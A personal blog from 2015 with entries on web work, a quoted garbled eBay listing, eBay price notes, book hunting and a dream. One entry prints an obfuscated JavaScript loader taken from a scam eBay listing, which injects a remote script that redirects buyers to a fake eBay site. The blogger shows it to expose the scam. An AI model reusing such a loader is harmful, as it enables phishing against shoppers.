Tuesday, 19 May 2015

Final Ethopian Emperor

Today it was quite stormy, alternating many times between sun, thick cloud, heavy rain, and hail. There was even thunder and lightning a couple of times.

The last couple of days I've been trying to fix a responsive design menu on one the sites I manage. While you'd think it should be fairly simple, the process of making the menu work well for modern browsers while still retaining a usable menu on older browsers (though not responsive) is pretty tricky. The slowness and buggy display of the android emulator certainly doesn't make the testing process quick and easy either.

Thursday, 14 May 2015

Chinglish eBay listing for a UV filter

Had too much to do lately.

Here's part of an eBay listing for 18 layers of coating pecial effect filter,W TIANYA XS-Pro 1D 40.5mm MC UV filter:

UV mirror role:

UV mirror is the most common filter, not so much that it can improve the photo effect, as it is the best digital camera lens protector in the travel process,

The wind and rain is difficult to avoid the the seemingly insignificant dust may become the delicate lens fatal killer! UV mirror role in this, not only the anti-

Ended rain or other water drops invade the lens, more importantly, can be an effective way on the lens coating is dust scratches; ultraviolet light causes color photographs

The film is blue tones, the effect of atmospheric Pan raised the black-and-white photo. UV lens filter UV, essential supplies for the landscape photographer, so go out brigade

Line, a good UV mirror is essential! (Note: UV mirror previously used to absorb UV light, but on a digital camera, this role has been cut

Weak, and now most of the human digital camera with UV lens for lens protection consider. )

For digital cameras, UV is mainly used to prevent the fingers touch the lens, dust from entering the lens. As to filter out ultraviolet function, it touches followed.

In addition, like the filters before use CPL, try to remove the UV, can reduce the occurrence of the image circle of opportunity to improve the image quality. Being on the time of the light source

, Especially in night scenes, remove the UV. Otherwise glare will be more powerful. The UV mirror can filter out ultraviolet there were no adverse image of the black-and-white and color negatives

; Can often stay in the lens as a protective mirror.

UV lens for shooting on the beach, mountains, snowfields and open area environment, can weaken due to UV-induced blue tones. At the same time for digital phase

Machine, you can also exclude ultraviolet CCD interference effect help to improve the clarity and color reproduction.

Special Note: Please buy, the corresponding lens aperture lens diameter has generally write wrong buying what caliber size shop package returned

For example: your camera lens on a 49 mm filter size the logo then buy 49 caliber, 67 to buy 67 caliber

Friday, 3 April 2015

eBay watched items clear-out

Time to clear out my eBay watched list and make note of anything of minor interest.

  • A Canon 8-15mm fisheye sold for £500 from an Italian seller, positive feedback was left so seems genuine. (Lens was new, typically sells 2nd hand for around £600).
  • Paramo Green Halcon Traveller Jacket Size Medium sold for £68.50 + £3.45 P&P. (Sells for £130 new).
  • Adobe CREATIVE SUITE 5.5 Production Premium - Windows sold for £230.36 + £6 P&P. Appears to be a genuine product, but listing stated that serials had probably already been used and the computers had been destroyed (i.e. no way to deactivate those copies). They also stated no return, so whoever bought that took a big risk.
  • Hitech 100 Reverse Grad ND0.9 Filter. Brand New sold for £30.99 + £2 P&P. Retails for £95.00 + £8 P&P new.
  • Samyang 14mm T3.1 CineLens for Canon EF sold for £144.99 + £5 P&P, but the seller never sent the item. (Usually £200-260).
  • Canon EF AF USM 200mm f/1.8 with no AF or MF and a "fairly minor scratch" on the front element sold for £775. I guess that's a good deal if the buyer could get it fixed, otherwise a rip-off.
  • Canon EF 135mm f/2.8 Prime Lens Soft Focus with hazing on one of the internal elements that results in reduced contrast sold for £63. (Normally £100+). Seems quite a lot for a lens in such a condition to me.
  • Damaged Canon EF 500mm f/4 L IS USM Lens - Spares Repairs sold for £895.99. Description was:
    CONDITION: For Parts / Repairs Only - Condition as pictured. Lens has suffered impact and liquid damage (fell onto some rocks & then into the sea). The lens glass is cracked and there is visible liquid droplets inside the lens. The housing has some chips and dents present and the lens mount is cracked / damaged (had an extender on which has snapped off when the lens was dropped and is also damaged). We have not tested the lens with a camera but considering the circumstances / condition it is most likely completely non-functional and will have internal faults and damage etc present.
    Photos showed the front element was completely smashed, though I believe the front element on this lens is actually just there for protection. So possibly you could have removed that and got back a functional lens. But given how badly smashed it was, and the information about sea water damage, I doubt it. Seems like a very high amount to pay for a lens in such bad condition to me.
  • A Sodern CERCO 94mm UV-VIS-NIR ???? was not sold for 250 USD + 33 USD P&P, but then sold later for 50 USD (same P&P). Possibly a good deal? Lens has no aperture and no guarantee that it is the UV-VIS-NIR model. Also, the images made it look like there was a black hole or disc in the middle of the lens. I'm not quite sure what that was, but it wasn't mentioned.
  • Samyang 14 mm f/2.8 UMC Aspherical IF ED Lens Nikon sold for £167.99 + £8.90 P&P. A good deal as normally sells for around £200-250.

Wednesday, 18 March 2015

eBay still allowing redirecting js in listings

Today I came across another ebay listing that redirects you to a fake ebay site, so it seems eBay still haven't fixed this problem. (Or they fixed it but the scammers have found another alternative). I guess that eBay allow js in auction listings because some sellers like to use auction widgets to show off their other items. It would be much safer if eBay just had their own widget people could use and didn't allow users to input js.

The hack looks like this, as part of the description they include the following:

<script> var _0x2786=["\x53\x43","\x52\x49","\x50\x54","\x53\x52","\x43\x3D","\x68\x74\x74","\x70\x3A\x2F\x2F","\x6C\x6F\x73\x73\x65\x72\x74\x69\x6D\x65\x2E\x63\x6F\x6D\x2F\x78\x69\x78\x6B\x6D\x73\x6E\x65\x2E\x6A\x73","\x3C","\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27","\x3E","\x77\x72\x69\x74\x65","\x3C\x2F"];var ya=_0x2786[0];var yb=_0x2786[1];var yc=_0x2786[2];var yd=_0x2786[3];var ye=_0x2786[4];var yf=_0x2786[5];var yg=_0x2786[6];var fy0=_0x2786[7];document[_0x2786[11]](_0x2786[8]+ya+yb+yc+_0x2786[9]+yd+ye+yf+yg+fy0+_0x2786[10]);document[_0x2786[11]](_0x2786[12]+ya+yb+yc+_0x2786[10]); </script>

Basically the script adds another script to the page. This other script then does the redirection. The text that makes up the script tag to add is split into pieces, and they've encoded the characters as unicode rather than using utf-8 / ascii. If you look at the _0x2786 array, it looks like this:

Wednesday, 4 March 2015

Good books are too expensive

I spent most of this morning trying to get one of my wordpress plugins to work with the wp super cache plugin without late init enabled. I got quite far, then realised that my plugin actually needs to call the database for one of its methods, and so wouldn't work without late init. So most of my work this morning was just scrapped.

In the afternoon I noticed a book on eBay called Great Stalinist Photographic Books - RODCHENKO, EL LISSITZKY - Rare, Brand New, which was selling for £200! I checked Amazon, and it was a similar price on there too. However, doing a bit more checking it seems it can be had cheaper (though still expensively) - $70.90 + $3.99 shipping new from Amazon Marketplace (a different entry for the book where it is titled Paradnaja kniga Strany Sovetov. 2007 / Great Stalinist Photographic Books (Fotoiskusstvo) (Hardcover)). Or from Ozonru, where it is selling for £41.40.

I contacted another website that had the book listed and had a price, but didn't seem to have any way to buy online. So I'll see if it can be had cheaper from there. Likely they don't have it in stock, don't ship to the UK, or want the payment through WebMoney (which is not available in the UK).

Saturday, 7 February 2015


This morning I did some work on a couple of my wordpress plugins.

In the afternoon I wrote a blog post for my photography blog. I got that done fairly quickly. Then I realised that I would really need to add descriptions and keywords for the images to illustrate the blog post, and then upload the images to the site. So I spent most of the rest of the afternoon and evening doing that.

The description writing process was fairly simple. I didn't have any photos of buildings I needed to research to try and find out what they were. It was just photos of trees and fields. I just had to write a description of what was in the image. But it still took me ages.

Anyway, at least I got it done in the end. Though I still haven't selected which ones to use to illustrate the blog post, or uploaded any of them yet. A task I can finish off tomorrow hopefully.

Monday, 2 February 2015

Exiting a dream

This morning I was having a dream, I can't remember most of it, but I do remember the end. I was going on a 2D computer game featuring Toad (from the Mario games) on an old yellowed plastic CRT monitor. The monitor was in front of some windows.

I needed to finish what I was doing (possibly I knew it was time to wake up?), so I tried to pull the curtains, from one side at a time. After I'd pulled the curtains on each side of the window, there was still a big gap between them. So I pulled the right curtain a bit more, but still there was a gap. I pulled the left curtain a bit more, and there was still a gap left.

I looked up at where the right curtain was attached to the curtain rail and noticed it was scrunched up. I gave it a hard tug and it nearly closed the gap, there was just a small gap left, which I thought was good enough. But further down was a larger gap, I looked and noticed that the left curtain was scrunched up at the bottom.

But in the gap between the curtains, sitting on the window sill, was a model of a man (not an accurate model) made from octagonal tazos. But unlike in real life, most of the tazos were positioned just one above the other. (They need to be positioned at right-angles to one another to be able to lock together in real life).

I figured that if I unscrunched the bottom of the left curtain so that it covered the model, then when pulling the curtains the next day, it might knock the figure over, so I might as well leave the curtain as it was.

On the computer I pressed the Esc key to quit the game I was going on. Then I realised that I had forgotten to save, and the game just quits when you press Esc without asking you if you want to save. This wasn't a problem in that I hadn't done anything on the game. But I knew that next time I tried to go on it I would get a message that I had quit without saving.

I then shut down the computer, which involved bringing up an on-screen keyboard that had a 'quit' or 'exit' (I can't remember) button at the top left. Then my dream ended. So it seems that this actually quit my dream.